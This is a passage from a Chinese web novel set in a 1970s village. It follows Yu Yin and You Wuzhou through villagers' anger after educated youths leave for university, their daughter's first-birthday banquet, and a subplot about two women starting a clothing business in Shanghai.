他点头对余银道:“我拒绝了,愿愿白天有时候要休息,人一多就容易吵到她,鬧起来又不好哄。” 余银抿了抿唇,评价道:“无利不起早啊。” 游雾州认同道:“可不是吗。” “什么意思?”虎丫眨着眼睛问他们,好学道:“是说的知青吗?” “他们来找姐夫做什么,是要参加高考吗,姐夫不是不参加吗,为什么是无利不起早。” 余银撇着嘴说:“就跟去年,他们让游雾州给他们讲题一样,这次也是。” 虎丫似懂非懂地点着头 ,“他们想让姐夫帮他们高考讲题?但是姐夫又不参加,而且姐夫凭什么给他们讲题。” “是这个意思吗?” 余银微微一愣,摇头又点头,给她解释:“如果不是为了让游雾州给他们讲题,是不会过来找他的,而且给他们讲题,耽误时间还没有一点好处。” 游雾州点头嗯了一声,交代道:“我去做饭了。” 余银摆手,抱着余愿愿去院子里,虎丫跟在她身边,垂着头思考。 余庆去帮着游雾州做饭,余银带着孩子和虎丫在院子里玩- 两个月很快就过去了,游雾州说不去考试,就真的没去。 这在村子里可不是个小时,毕竟游雾州去考肯定是能考上的,但他竟然不去。 而小学都没毕业的柳盼娣,除了考上老师后,今年竟然也去参加高考了。 而村里的热鬧远远不止于此,考完试,成绩一下来,該回家的回家,那些成家的知青,也都想方设法的回去。 有的倒是说着挺好,哄着报了名参加了考试等一考完,人都不见了。 直接跑回家了。 这下村子里许多跟知青结亲的人家,都跑的差不多了,剩下知青点考不上的那群人,在村子里每天被骂着。 甚至那些人家,没事就去知青点骂一通。 連余家也收牵連,因为余阿舅是大队长,蓋了章签了字,把罪都算他们家头上了。 甚至那些之结婚有家的知青跑了,而余大队长家的知青没跑,反而还不参加高考,他们认为一定是余阿舅许了游雾州什么好处,所以游雾州不跑。 开始不愿意,为啥不给其他家的好处,还给那些知青签字蓋章,放他们走。 余家前后两个门堵的都是人,游雾州和余阿舅都出不去。 余银看着游雾州怀里哭着的余愿愿,气的不行,“这也怨咱,人家要回家看看,咱们还能不许,又没那个规定不让知青回家的,故意找事呢吧。” 余阿娘听着外头那骂声,咬着牙说:“就这样让他们骂?咱这几天就窝家里啊?” 余阿舅阴着臉,沉默着。 王桂香让带着虎丫和余庆回娘家去了,就是怕鬧事。 游雾州不管怎么逗,余愿愿都哭的不行,嗓子听着都有些哑了。 余阿娘拧着眉,“不撵走不行,这天又冷,再哭上一天,嗓子哑了不说,指不定要病了。” 余银就怕孩子病了,气冲冲地碰了碰余阿娘肩膀,“咱们就把门开了能咋啊,她们敢怎么样,不行就去叫民兵,阿舅又不能拦着知青回家,这也怨咱。” 余阿娘看了眼余阿舅,说道:“青云,我去开门,你个大队长缩屋里也不像话啊。” 余阿舅站起身,沉声道:“我去开个你们看着点愿愿,别让碰着了。” 他手背在身后,步履稳健地往门口走去。 “闹什么,像什么话。”余阿舅冷着眼,眼神威慑着她们。 他当大队长兢兢业业这么多年,一年到头都在操心他们村,連个官威都没耍过。到头来余银落个水,被人指着说没脸,家里名声坏了。 但凡他家有个风吹草动,就要被拿来当谈资,还不能反击,作为大队长要以身作则,也是逼得没辦法了,余银们夫妻俩自己站出来维护这个家。 到如今,知青们回家他拦不住,当初他们跟知青们结亲的时候,就提醒过,人家不是这个村子里,他们怎么说的,都下乡了,还咋回家去。 现在又在他家闹,闹的一点都不得安生。 还说他给了游雾州好处,他倒也想给,找了老师工作,不知道怎么,变成公开招聘的,連余银的工作到现在都没安排。 就连余银没上工,他家也没多分一点粮食,一点好处没往家里扒拉,也就给余银分的工比较轻松,但那工分也少啊。 他是做了啥对不起杨柳村的事啊。 王家老太被余阿舅那样看着,心里也有点打怵,但一想到自己的儿媳妇孩子都没生,还带着彩礼跑了,张嘴就道。 “我家儿媳跑,你给我们再赔个,我儿子现在饭也不吃,工也不去上,就想着那小狐狸精,大队长你这辦的啥事,非要给她盖那章,让她回家去,你给你家游知青的好处,也不说分给我家的,这样也就不用跑了。” 越说扯的越让人听不下去。 余阿舅冷声对她道:“当初你要跟人女知青说亲,我就说过他们迟早有一天要回家,你说都下乡了,指定回不去,不用我操心。” 说完,他又看着王老婆子旁边那人道:“你家我就更不想说,人家好歹还经过那女知青同意了。你们家二狗不要脸,非礼不成还坏了人名声,硬逼着嫁过去,嫁过去之后又不好好对待人家,搁谁谁愿意待你家。” “你家那四五不着六的,那知青也是能的,知道到家你能享福,刚下乡没几天就说给你家了,你还以为捡了大便宜,这她能回家了,也用不上你家,待着干嘛,你跟我说说来。” “都怨我为啥盖章,哪條规定不让知青回家探亲了?考上大学了不给人盖章?你们想进公安局吃枪子儿,可别连累我。” 余阿舅也是一点脸面都不留,都好意思在这怨他给人批條盖章的,自己家都啥样也不想想。 这顿时,一定要吃枪子,也都闭上了嘴巴。 “那你说咋个办,就让他们这么走了。”王老太朝地上呸了口吐沫,说道。 余银从屋里走出来,呛声道:“你们想去找人,让我阿舅给你们批條就是,但出啥事了,可别再赖我们头上。” 这就是想要人,想要她阿舅把人弄回来。 余阿舅又不能一手遮天,说弄回来就弄回来。 谁家的想要人,谁自己去找去,出事了可别再怨别人了。 她补充道:“想要批條的,都先给我们立字据,发毒誓,不能再怨我们家了,找不找的到人,也都不管我们的事。” 余阿舅看了余银,微点了下头,“谁想去就批条直接去,但我可不管其他的事,跟我也没关係。” 一群人开始商量着,王老太的儿子从后面走过来,“我发誓出啥事都跟余大队长和余家没关係,否则就天打雷劈,断子绝孙。” 他说完,朝余阿舅伸出手,“我发完誓了,给我批条吧,我要去找蘭蘭。” 他不相信蘭蘭就这样抛弃他了,而且兰兰还好像怀孕了。 兰兰不可能就这么离开的,肯定是在家里有什么事,绊住她了。 王老太气的打了他背上一下,“谁让你发这么毒的誓了,真傻啊。” “怎么?”余银嘲讽 道:“王奶奶这是打算找不来,出啥事了就不认账啊,发毒誓才能证明决心,谁不发不给谁批条盖章。” 都不傻,还想像他们家吃哑巴亏,想的真美。 余阿舅看向王老太,王老太瞪了余银一眼,绷着脸道:“你个小人精,我说啥了啊,我家还指望着大根给俺抱孙子呢,可不能断子绝孙。” 余银才不跟她玩弯弯绕绕那一套,她看着王家大哥,说道:“到底是听你娘的,还是听你的,你们谁找媳妇,还要不要条了。” 王家大哥连忙道:“听我的,听我的,我要找兰兰。” 他转头对着大伙说,“大家都给我做个见证,要是,唔,要是有个啥事,都跟余家和余大队长一点关系都没有,否则我就断子绝孙,天打雷劈。” 王老太捂着他嘴,又被推开,只能眼睁睁看着他说完。 余银碰了下余阿舅胳膊,大声道:“好,王家大哥去跟我阿舅领条盖章,能去找他家兰兰了。” 说完就给王家大哥让了条路,让他跟着余阿舅进去。 余银看了她们一眼,说道:“还有谁想去,也跟王家大哥一样,再进去立个字据,才能去找人啊。” “说不定是真有事回去了。”她接着道。 这还真不是骗人的,她是记得那兰兰回来了的,拿这个说给他们听不一定会信,但过几天人回来了,可能就信了。 刚开始也就两三个去,余家门口也没那么多人了,虽然都不相信,但也想着要是有人能带回来,她们也去批条出去找人。 谁知道等了小半个月,还真让那王家的小子,把他们家媳妇领了回来。 这下村里不少,连着附近的村子,都出去找了。 但大部分都没找回来,离婚的越来越多,好多还不死心,准备带着孩子去学校堵人。 不让去吧,肯定也是不行的,去了,孩子又小,出个啥事該怎么说。 余银就提议,能去,但不能带孩子,孩子太多,外面还有人贩子,万一小孩子在有个头疼脑热的,咋看病啊。最起码孩子要留家里,不能带着一起去。 余阿舅觉得可以,就跟村里人这样说了。 这个年杨柳村也过的冷冷清清,都出去找人了。 甚至过完年,村里人也都不多- 余愿愿现在八个多月了,闹人也少了,但也还是要陪着她玩。 余银就以这个理由,拒绝了游雾州提出给她辅导学习的建议。 她太知道自己几斤几两了,学习对她来说有点难,而且她也不太可能和游雾州能在一个学校。 首都的分数听说很高,连江窈和柳盼娣都没去,而是去了申市。 游雾州未免也太自信,她也能考的上了。 余银不想上大学,也不想干活,其实现在这样就挺好,有钱花,不缺吃喝,孩子她带的也不多。 这样的日子挺好的, 她试探着将这样的想法告诉了游雾州,“我不想上大学,我又不喜欢学习,去了学校也见不着愿愿,我还不如就在家里呢。” “等愿愿两三岁了,你就去参加高考,帮你外公早点调查清楚,你到时候想回来也行,不想回来也没关系,我跟愿愿俩人过也挺好的。” 游雾州脸一沉,“是我逼你逼太紧了吗?你不想读大学也没关系,但你不和我一起回家了吗?” 他最近是逼余银学习逼的有些紧,没考虑她的感受了。 他给余银道歉:“我以后每天少让你学习一点,咱们慢慢来,晚一年考也没事的。” 余银看了眼睡着的余愿愿,把他拉到外面去,“我就不是不想上大学,而且我和愿愿在哪,哪就是我们的家啊。” 那句你想不想回来都没关系,她没说出口。 游雾州的钱现在都给了她,有很多,足够她养着愿愿一辈子了。 说句实话,她只要让游雾州待在杨柳村,再等一年,就不太需要他了。 她如今孩子也有,钱也有,到时候家人也都好好的在她身边,没有比这更好的了。 游雾州抿了抿嘴,看着她不语。 好一会儿,才对她道:“我以为这快两年的时间,我做的一切,能打动你的心。” 他的神色看起来很难过,是真的被余银伤到了。 不去读大学,以后愿愿在哪,那就是余银的家,她将他排除在外。 也不想跟他一起。 余银眼珠转了转,避开这个话题,“我就是不想读大学,跟你说的这有什么关系?” “怎么没关系?”游雾州自嘲道:“但凡你心里有一点点我的位置,你就不会说,是你们两个,而不是咱们一家三口。” 他那一家三口语气咬的很重,就好像余银要带着余愿愿抛弃他一样。 但,可不就是这样。 余银确实这么想了,等事情都结束了,那游雾州也不会变成另一个人了,到时候他回不回来也都无所谓了。 她抿了抿唇道:“我也不是那个意思,可是真的考不上,也学不进去。你考上了就去上,就算不想回来也没事,我会跟愿愿解释的。” 她好像在心里也一直认为,游雾州考上了大学,就不想回来的想法。 可为什么呢? 应該是余银不信任他的缘故,她这么想着。 她好像这辈子都没办法,彻底信任游雾州啊。 游雾州觉得余银就像风一样,感觉抓住了,可又根本没抓到过。 他下意识地就去抱住余银,紧了紧,似是叹气似是无奈地说:“余银,能不能对我多点信任,我想要就是和你一起,你要不想读大学也没关系,咱们一起去首都行吗。” 她不想读也没事,反正男人就该赚钱养家的。 他是不应该逼余银跟他一起读大学的。 余银被他抱在怀里,幽幽道:“我对你多不了信任啊游雾州,早就告诉过你的,你现在是后悔了吗?” “后悔了也——” 话还没说完就被游雾州打断,“没后悔,一点都不后悔,别说。” “没信任就没信任吧,就这样就挺好。”游雾州无声地笑了下,“你要是想对我多点信任也行的。” 他不该说出来的,要是余银认为他后悔了怎么办。 没信任也行,就现在这样保持着,他也心满意足了。 只要余银还是他的,他还能这样抱着余银,他们还有一个可爱的愿愿。 就这样吧,他不该奢求太多的。 余银推开他,从他怀里出来,看向他的眼睛,“真不后悔?” “真不后悔,一点都没有。”游雾州保证道。 “我就是太贪心了,想要的太多了。” 余银上下打量他一眼,游雾州正色道:“真的,我也给你发誓。” 说着,举起手来,发誓:“我游雾州要是后悔,也天打雷劈,断子绝孙,让我游雾州以后事事不如意,活得狗都不如。” 余银听着他发这个誓,隐隐觉得哪里不对劲,屋里愿愿哼唧了一声,她才反应过来。 “嘿,你发的什么誓,咒我愿愿呢,赶紧给我呸呸呸。” 游雾州说的时候也没想那么多,他连忙摸向窗户的木框,“呸呸呸,老天爷别信啊,别信啊,我重新发……” 第83章 第83章游雾州喝多了 余愿愿满月的时候没辦酒,现在一周岁啦,游雾州特意去国营大飯店买了好多菜回来。 本来是想直接定在飯店,不叫太多人的,余阿舅觉得心里好久没热鬧过了,还是在村里辦吧。 还能讓村里人见见油花,抢收的时候也有劲干活了。 余家上一次辦喜酒,还是游雾州和余银结婚的时候,当时也有些仓促地。这次轮到余愿愿的周岁,她们可好好准备一番。 除了去国营飯店里买几道菜来,还要再买点酒来,这样有菜,有肉有酒的席面,也叫做席面。 余家这次请的是全村人,都能来吃,这次要买的东西的也特别多,米,面,油都要做什么菜,需要多少东西。 这些游雾州每天都拉着余银一起做,有时候还把它弄成题,为的就是巩固余银的知识。 他内心还是想讓余银跟他一起上大学的,余银被他哄说的,觉得大学或许挺不错的。 而且她和游雾州一起考大学,更能决定游雾州什么时候去上大学的时间。 慢慢地,余银也就默许了游雾州继续对她教课。 倆人算着帐,估摸着是没拿两百拿不下的。 这錢现在对余银来说也不算太心疼了,毕竟家里的錢现在都是经的她手过。 算完帐,余银看着那账单总觉得漏了什么,她忍不住嘀咕,“我怎么总觉得少了些什么?” “国营飯店的菜,猪肉,鸡蛋,鸡鸭鱼,素菜,酒水,板凳,桌子……” 她一 个一个念着,游雾州听完摇摇头,“好像都齐全了。” “不对,就是少了。”余银笃定地说着,她又低头看着那单子,问他:“这做什么菜你都写上了,难不成你来掌勺啊?” 余银抬起头,就见游雾州微微挑眉,笑道:“她的周岁宴,肯定我亲自掌勺啊。” 余银斜了他一眼,没好气道:“累死你到时候,你从头两天就有的忙活,还不如找个厨艺好的来呢,再说那天咱倆都要齐整些,毕竟愿愿一辈子就过这一次,你灰头土脸地。” 这又不是当初他倆的喜酒宴,人也不多,这次不单单是余愿愿地周岁宴,余阿舅对外说的是给村里人热鬧热鬧,过年的时候人都不下,这就当补过的。 好讓大伙抢收的时候都上点心。 不然单就一个过周岁,摆这么大,那不是找着被人往上一举报呢。 而且这男人平时穿的最齐整,怎么到了闺女周岁,准备灰头土脸的。 游雾州想了想,余愿愿周岁的时候,他肯定是要光鲜艳丽地,要是忙了好几天,累的灰头土脸,确实也说不过去。 他抿了抿嘴,“那我问问林表哥,看看能不能找个饭店的厨师师傅过来帮忙。” 余银轻哼一声,“你倒不如直接找林表哥,他自己就是,虽说一直打下手,咱们正好给他个练手的機会,毕竟没少麻烦他,说出去也叫他一声表哥,别人也不会说什么,而且也不用定菜,还要找人那么麻烦。” 这倒也是,但游雾州没见过林表哥做菜,他心里还是有些不放心的。 等到了真正摆酒的那几天,林表哥特意提前过来了,他说自己先试试菜,免得到时候出了差错。 准备的菜也都是常见的菜,林表哥都也会做,他就每道菜都做了。 蒜苔炒肉絲,蒜苔清甜,肉絲鲜香,不管是色泽还是味道,看起来都很不错。 拔丝紅薯,油亮香甜的紅薯,在锅里炸过后,再裹上一层甜丝丝的糖丝,虎丫和余慶很喜欢,甚至余愿愿都都吃了几块还要吃。 鱼是做的国营饭店的特色菜,紅烧鱼块,汤汁裹满了鱼块,白嫩的鱼肉吃起来清甜,在沾上那汤汁,不愧是国营饭店的特色菜。 还有荠菜肉馅饺子,正是吃荠菜的时候,以前都是包鸡蛋吃,这搁上肉包着吃,确实不错。 香椿炒鸡蛋,凉拌马齿兰,黄瓜鸡蛋汤,蒜苗炒五花肉,番茄鸡蛋面片汤,炒咸菜,凉拌菠菜,一桌一只的炖鸡,辣炒鸭。 这一大桌菜,直接讓游雾州彻底放心。 林表哥自己也很开心,他一番手艺,在饭店里处处受制得不道施展,这正好借着游雾州此次办酒,把名声打出去了。 到时候,饭店里的人也不好再让他打下手,不让做菜了- 到了摆酒这天,一桌子好菜,不紧好吃,而且每桌没吃完的,那一桌人自己分分可以带回家去。 这么丰盛的一顿饭菜,还能帶回家吃? 这让村里人高兴坏了,直嚷嚷着保证,抢收肯定积极地不能再积极了,让余大队长直管放心好了。 余阿舅笑着应他们,“让你们有劲干活吧也不都是为了我,还不是想让你们吃饱饭,粮食收的好,那也都是大家的功劳。而且人只要活着,吃饱饭,以后的事都慢慢来,咱们村肯定能越来越好的。” 这一番话,说的他们都鼓掌叫好。村里那些原本还有点埋怨余阿舅的人家,在这顿饭菜下,心里也舒服了不少。 他们最近消极上工,余阿舅不禁没埋怨他们,反而还怕他们因为抢收分不到粮食,特意摆酒鼓励他们。 那一桌桌的酒菜,花的可都是他们自己的錢,要是换了他们来,肯定心疼的不行,也不会摆酒。 王老太率先站起来,端着碗里的一小碟酒,去敬余阿舅,紧接着越来越多的人去敬。 余阿舅喝不了,就去敬游雾州,毕竟也是他闺女的周岁,甚至还有去敬余银的,她还要帶着孩子,余阿娘和王桂香也被闹着喝了不少。 虽说酒里搁了水,但那到底是喝了不少。 这酒宴是热热闹闹地结束,而且结束后,人也都没走,都留下来收拾帮忙,弄完了还把各家的板凳桌子帶走了。 酒没在余家家里办,太多人了坐不下,就在平时开会那地方搭的灶,摆的桌,大家伙说,这灶也不用拆,以后有啥喜事,就都在这摆,村里人都来帮忙。 这会儿也需要村里人帮忙,余阿舅和游雾州都喝多了。 余阿娘和王桂香也脸颊通红,脚步虚浮,就余银滴酒没沾,她还清醒着。 她抱着余愿愿,招呼着把人给余阿舅和游雾州扶回去,又把没用的菜分给了今天从早上就开始的帮忙的,还又给林表哥结了錢,送他到村口。 余愿愿也会喊个人了,送林表哥的时候,还学着余银挥手,奶声奶气地说:“谢,谢叔,叔,再见。” 她牙就扎了几颗,说话的时候带着汤汤水水的,滴了余银一肩膀口水。 林表哥也跟她再见,骑着车子从村口离开了。 余银抱着余愿愿,亲了她脸一口,碎碎念着:“你爹还是会躲懒,自己喝多了睡觉去了,让咱娘倆忙前忙后的。” “爹懒,坏爹。”余愿愿握着小拳头,挥舞着说道。 虎丫跑过来找她们,听到俩人的话,抿着唇道:“我爹也喝多了,他也坏。” 她摸了摸脸,也没见过他爹喝多,咋喝多了话这么多,还掐她脸,疼死了。 余银看她过来,问她:“你娘跟姑姑呢,她俩回家没,我瞧她俩喝的也有点多,要是没回家,咱还带找找去。” “回了回了。”虎丫不耐烦地摆着手,“俩人这会儿正在我姑的房间睡觉呢。” 一个二个的,酒那么好喝吗?吃饭的时候她就拦着,还不让拦,现在到在床上,怎么都叫不起来。 屋里呼噜震天响,她想睡会儿都睡不成。 “咋回事啊?”余银换了个胳膊,单手抱着余愿愿,摸了摸虎丫头,看她那气呼呼地模样,不禁问道。 虎丫瘪着嘴,红着眼有些委屈道:“那会吃饭就不让我娘喝,她非要喝,回家的时侯还摔地上了,起都起不来,我去找了旁边的婶子,才把人扶起来的。” 她不禁有些埋怨那酒,还有那让她娘喝酒的人。 余银顿了一下,停下脚步,蹲下来看着虎丫,认真的跟她解释道:“今天你娘高兴才喝的,上次王奶奶们来家里闹事,你爹一直记在心里呢。这眼见马上又要收麦子了,他们每天上工都不怎么干活,那今年抢收可咋办呢,阿舅心里着急呢,你娘也看在眼里。这正好今天借着愿愿办酒,特意请了全村人来,把话说开了,大家心里也都没隔阂了,她们愿意给你娘敬酒,其实就是再为那天道歉呢。” 虎丫太小,但也不是不能是非的人。 她听的懵懵懂懂,心里大概有了底,问余银:“是不是敬酒的奶奶婶子们,不好说对不起,所以只好敬酒,当作道歉。就跟我爹惹我娘生气了,不好意思认错,但每次都把自己藏起来的钱拿出来一点,给我娘。” 虎丫觉得大人们可真让人看不懂,道歉而已,为什么会张不开口呢。 余银笑了,她站起来,指尖搭在虎丫肩膀上,“是这么个 理,所以也别埋怨了,咱们回去烧点水,我给你煮个糖水加个蛋,娘和阿舅他们,只让他们喝糖水。” 虎丫想了想,她咽了下口水,“我想吃那个甜甜的红薯,今天都没吃到几块。” 那菜一上来就被抢光了,她还是她娘给他夹了一块,又去她爹那桌吃了两块,都没吃够呢。 余银回想了一下家里的菜,基本上没剩菜,她无奈道:“家里没有了。” 她又补充道:“不过游雾州会做,等他起来了,让他再多做一点,你吃个够。” 虎丫眼睛亮亮地重重点头,“行,愿愿也爱吃,我不抢愿愿地到时候。” “没事,让他多做点,你也够吃。”余银笑道,她扭头看向余愿愿,发现她趴在自己肩膀上睡着了。 难怪,说了半天没见她咿咿呀呀地。 敢情睡着了,不过往常这会儿她早就睡了,今天跟着她跑来跑去,也不闹人,睡觉也不哄。 余银又心疼又软的一塌胡涂,她手托着余愿愿的头,加快脚步,对虎丫道:“咱们快点回家去,给你煮红糖水。” 虎丫迈着小短腿小跑起来往前走……- 回到家里,游雾州睡的正香,也打起了呼噜来,但声音很小,要凑近才听得到,余银把余愿愿搁在床上,去厨房了。 虎丫站在她们屋门口,打了个哈欠,说:“姐夫还不打呼,你等会去前院里,就能听到拖拉機的声音来,吵死了。“ 余银没忍住笑了,“真有那么大吗?” 她娘打呼,她是知道的,声音也不小,尤其是累的时候,但要是拖拉机那么吵,有点不敢信。 “你去睡吧,我自己去煮就行了。”余银见她又打了哈欠,摸着她的头发说道。 虎丫摇头,眼睛困的泛着泪光,但嘴里还说着:“你今天也很很累了,她们都睡着了,我想帮你干点活。” 余银难得见她懂事,但心里不禁没欣慰,反而是心疼。 她对虎丫道:“你去睡吧,我烧个水很快的。” 虎丫拒绝,她笑眯眯地说:“我想跟你睡今天,姑姑跟我们屋里都很吵。” 余银一愣,“那行吧,你要是困了就自己去我们屋里睡。” 年前游雾州在学校教课的时候,天太冷,余银就没带着孩子去,怕吹冻着了,虎丫也跟着没去。 三个人就在余银那屋里床上玩,玩困了就睡。 所以余银就让她自己去,但虎丫困虽困,还是想等余银一起。 余银见状也就没再说什么,俩人走到前面院子,果然听到了此起彼伏的呼噜声,但跟拖拉机比起,还是差远了。 那拖拉机声音要大得多,还吵得很。 他们这倒也还好,不过确实是有点大了。 虎丫抬着下巴,一脸我就说吧,余银含着笑,“余慶呢,他怎么睡的?” 说道余慶,虎丫就捂着嘴偷笑,“余庆在我爹怀里,他喝醉了就抱着我跟余庆不撒手,我说想上厕所,我爹就松开了,但还抱着余庆。” 余银想了下那个画面,没忍住大笑起来。 她烧了水,拿了点糖化开,给每人盛了一大碗搁到屋里去。 看到余庆在余阿舅怀里,皱着眉睡觉的样子,余银就想笑,虎丫用手紧紧捂着嘴,就怕没憋住笑了出来。 俩人又去余阿娘屋里,看到睡姿四仰八叉的余阿娘和王桂香,余银嘴角含笑把她们盖好被子,放下糖水出去。 最后余银和虎丫端着两碗糖水,回到了后面院子余银和游雾州的屋里去。 回到屋里,虎丫就脱了鞋,上去床的最里面,搂着余愿愿睡。 余银就睡余愿愿另一边,挨着游雾州,她给虎丫和余愿愿盖了一床被子,又拿了一床给她和游雾州盖。 一进被窝,游雾州人还无意识,就自动转了个身子,把余银搂紧怀里,手也不安分地游移着。 余银怕虎丫看到,微微抬头看了眼已经睡着了虎丫,她一个转身,一手捂上游雾州的嘴,一手在他手臂上狠狠拧了一把。 游雾州吃痛的睁开眼,有些懵之外,还有些委屈,他垂着眼看着嘴巴上的手,又眨巴着眼看向余银。 余银压着声音,绷着脸说:“虎丫也在这睡,你老实点啊。” 游雾州眨了眨眼,余银才松开他,但松开之后离开和他的被窝,去睡了另一个被窝。 见余银逃得这么快,他不禁有些失笑。 余银抬手放他眼睛上,轻声道:“再睡会儿,不然头疼,快睡觉吧。” 游雾州的睫毛在她掌心眨动着,痒痒的。 紧接着她的手就被一双干燥温热的大掌紧紧握上……- 柳盼娣这边,一到申市就立马给自己改了名字,叫柳勝男。 通过江窈,她了解到这是书里的世界,而且现实世界的她很可能已经死了。 游雾州和江窈是男女主,但柳勝男瞧着,游雾州还不一定按照江窈口中的係統,真的会喜欢上江窈和她在一起。 毕竟她也是看过这种男主冲破原有的设定,爱上其他人的小说。 她是真的觉得游雾州和余银感情挺好的,反而对江窈还有谁不清的厌恶,但江窈自己没什么感觉,被那个係統洗脑,觉得自己就是女主角。 是注定要和游雾州在一起的。 柳勝男想要在这世界里过的好一点,除了她所知道马上要改革开放,而改革开放就等于遍地是金子和机会。 她知道要賺钱,但她不是主角,没有主角光环,所以她鼓捣江窈,跟自己一起考到申市。 让她跟自己做生意,她的主角光环肯定会发挥作用,使自己做生意能顺利。 幸好江窈那个係統休眠中,不怎么跟她联係了,要不然她还真不好洗脑江窈。 “你家跟我家也不差什么,咱俩都是小苦瓜,不受人待见。”柳勝男看着江窈道:“咱俩在杨柳村都能賺一笔,来了这肯定也可以,你长得又好看,还会做衣服,我给你设计出来,你穿着那衣服就是行走的模特啊。” 现在最简单快捷的,就是做服装生意。 而生意做起来之前,要先把招牌打出去,让人看到你的东西,喜欢并且想要才行。 而作为主角的江窈,长相气质都很好,那简直就是活招牌,而且做衣服江窈还会自己做,她们还不用去找裁缝。 江窈不语,柳胜男接着道:“咱们现在也不会开店,就帮着同学做几件,然后咱们再去成衣铺子,问他们想不想要和咱们合作,到时候肯定能转的盆满钵满的。” “你有了钱,家里人肯定也不敢低看你一眼,你在家里就是爷,谁都要捧着你,你賺的越多,说不定到时候连游雾州都要高看你一眼。” 说到最后一句的时候,柳胜男观察到江窈脸上隐隐有些动容。 她继续猛加火的说着,“那游雾州到时候见着你,肯定是要多看你几眼的,钱养人的,我跟你说,有了钱,就什么都不一样了,江窈,你想不想跟我賺钱。” “想。”江窈被她彻底说服,她咬了下唇,小声并坚定地点头,“我要让游雾州认清,我才是不一样的那个,我要赚很多钱……” “这就对了。”柳胜男搂向江窈的肩膀,附在她耳边道:“你跟着我,我带你赚很多钱,咱们让游雾州必须高看你!” 她嘴上这么说着,但心里也不确定,能不能赚到很多钱。 从江窈以前口中听过,游雾州在首都的家里是很有钱的,不止他外公家,他自己亲爹家,好像也很不一般的。 但柳胜男想归想,她自己也要给江窈洗脑,也必须要坚定自己的信念。 “咱们肯定会越来越有钱的,赚很多的钱来,让他们都别想小看咱俩。”柳胜男对江窈喃喃道。 江窈垂着眼,看起来有些困惑,但眼神中也依然是坚定地,她把头歪在柳胜男肩膀上,“我们肯定会赚很多钱的,系統说咱们最后会赚到很多钱的,放心吧,而且你这么聪明,咱们有什么问题,还能找系统。” “系统不是休眠了吗?又联系你了嘛?”柳胜男坐直身体,看向江窈。 那个系统她不太喜欢,说不出是哪里,但就是女人下意识地第六感。 而且江窈听着那个系统的话,做的事也没见一个好的,还搞砸了不少事来。 江窈摇头,解释道:“不完全休眠,我有事跟它说,还是会理我的。” 就跟她高考前紧张的不行,问系统该怎么办,系统让她安心考试,最后肯定会考上的。 虽然系统有时候说的事不太对,但她最后还真就考上了。 听到江窈这么说,柳胜男心里有些不安,有些焦急的问她:“你跟它说咱们考来申市了吗?或者这段时间发生的事情跟它说过没啊?” “没有。”江窈不知道她为什么有些反常,但如实说了,“我就问过它能不能考上大学,还有游雾州。” 最后一句她没说完,但柳胜男知道她说的是什么意思。 “是不能告诉系统吗?咱们做的事情。”江窈问她。 柳胜男微微点头,解释道:“它不是状态不好吗,咱们让它好好休养,等功能好全了之后,有事了再找它。毕竟咱们自己能解决的事情,麻烦它不就是耗费它的力量嘛,你不是还想让它帮你和游雾州嘛?” 她知道江窈心里想要的什么,就拿着这个点来哄着她。 江窈信以为真,“你说的对,我以后不找它了,让它好好休养。” 柳胜男勾唇笑了起来,“嗯,咱们靠自己 也没少赚的。” 第84章 第84章游雾州家的往事 农忙开始,大人小孩都下地搶收。余愿愿还要有人看着,她就帶着孩子,在家里给他们做饭。 今年收成不錯,讓那些離婚的人家至少心里有了些安慰。 搶收完,又是马不停蹄地下地播种,才讓村里人都能缓口气来。 每年前脚种完地,后脚差不多就又下雨了,这个时候,余金也会从部队回家探亲来。 并且帶了个好消息回来。 余金在部队上头的领导跟游雾州的外公有些渊源,首都已经有一些老干部被解放了,而周华言的舅舅也是其中一个人。 他们都认识游雾州的外公,现在正在帮游雾州的外公也争取着。 估计也就在今年差不多了,最晚就到明年开春。 其实这事也有些風吹草动的,从離婚的那些知青探亲假結束,也不回来,村里人去找,也叫不回来。 甚至其他的在村里的知青,也都陆陆续续地回城了,就不難看出。 余銀听了余金这么说,她问游雾州,“那咱们是不是要回你首都的家了。” 说到这,她没想过怎么这么快,还这么早,就要去首都了。 她記得应该是在游雾州上大学的第二年,也就是后年的夏天,那个时候他外公才被解放了的。 “没这么快的。”游雾州搖头,他外公的不是简单的调查,而且…… 游雾州苦笑道:“我外公那事,是我爷爷在那压着,明年也不一定呢。” 他这话一出,余金和余銀一愣,随后对视了一眼,从对方的眼里看到了些震惊,不知道怎么说。 这叫什么事,爷爷跟外公杠起来,把孫子改了名字送到乡下插队干苦力。 到底是什么仇什么怨啊。 余銀听游雾州提过一嘴的,他五岁之前可能是在他爷爷家那住一起,听他说那意思,对他挺不錯的啊。 怎么会这样呢? 她看了又看游雾州,试探的问了嘴:“你爷爷跟你外公是結仇了还是啥?” 余銀问的有些不妥,结仇?可以换个委婉点的说法,余金看了两眼余银,微微蹙眉。 余银连忙改口,“不是,是有什么矛盾,还是什么啊?” 不然怎么听着他语气,两家人关係很恶劣的感觉,甚至他外公被调查,也是他爷爷弄的。 这亲家闹到这个地步,属实有点罕见了。 简直都是闻所未闻啊。 游雾州想到家里的事,自嘲地笑了一下,“说起来也不知道怎么去说,这事知道的人很少,我也有些说不出口,两个六七十的人了,还怄气呢。” 他爷爷和外公以前也有过关係好的时候。 他外公不是首都的,而是南方人,后来因为参军才慢慢辗转到了首都,而他爷爷是土生土长的首都人,几代人盘根错节在首都,跟独自辗转过去的他外公是不一样的。 俩人年纪相仿,在战场上官位差不多,也算说的来的兄弟。后来因为性格常常因一件事而吵起来,他外公这个人虽然很有能力,但比较执拗不太變通,而他爷爷这个人,不如他外公,却盛在过于圆滑了。 在部队还是在首都,都混的風生水起。 战火纷飞的时代,他们可能也就相识于那段愉快却有不愉快的日子,但偏偏后来两人因为工作原因,曾住到过一个院里。 他外公除了他母亲之外,还有两个养子,并且他外公也早就做主,把他母亲和他大舅许了娃娃亲。 可他母亲虽有娃娃亲,但和他父亲在一起了,并且未婚偷偷生下个孩子,也就是游雾州,被他外公发现的时候,他的母亲又怀了身孕,且已经五个多月了。 他外公很生气,勒令他母亲打了孩子,和他大舅结婚,并且他大舅也会把游雾州当亲生儿子养,他母亲自然是不愿意的。 外公嫌游雾州的父亲懦弱,不像个男人,不仅被林家养的十指不沾阳春水,惯的不像话,虽说没走歪路,但他外公就是不怎么喜欢。而现在跟他母亲都有孩子了,却不敢来提亲,还敢讓他母亲再怀一个,这样的男人是断断不能嫁的,何况他外公觉得他爷爷家太精明了还一大堆规矩,他母亲嫁过去不一定什么光景。 就应该听他的,嫁给知根知底的他大舅,这样有什么事,他母亲也不会受什么委屈。 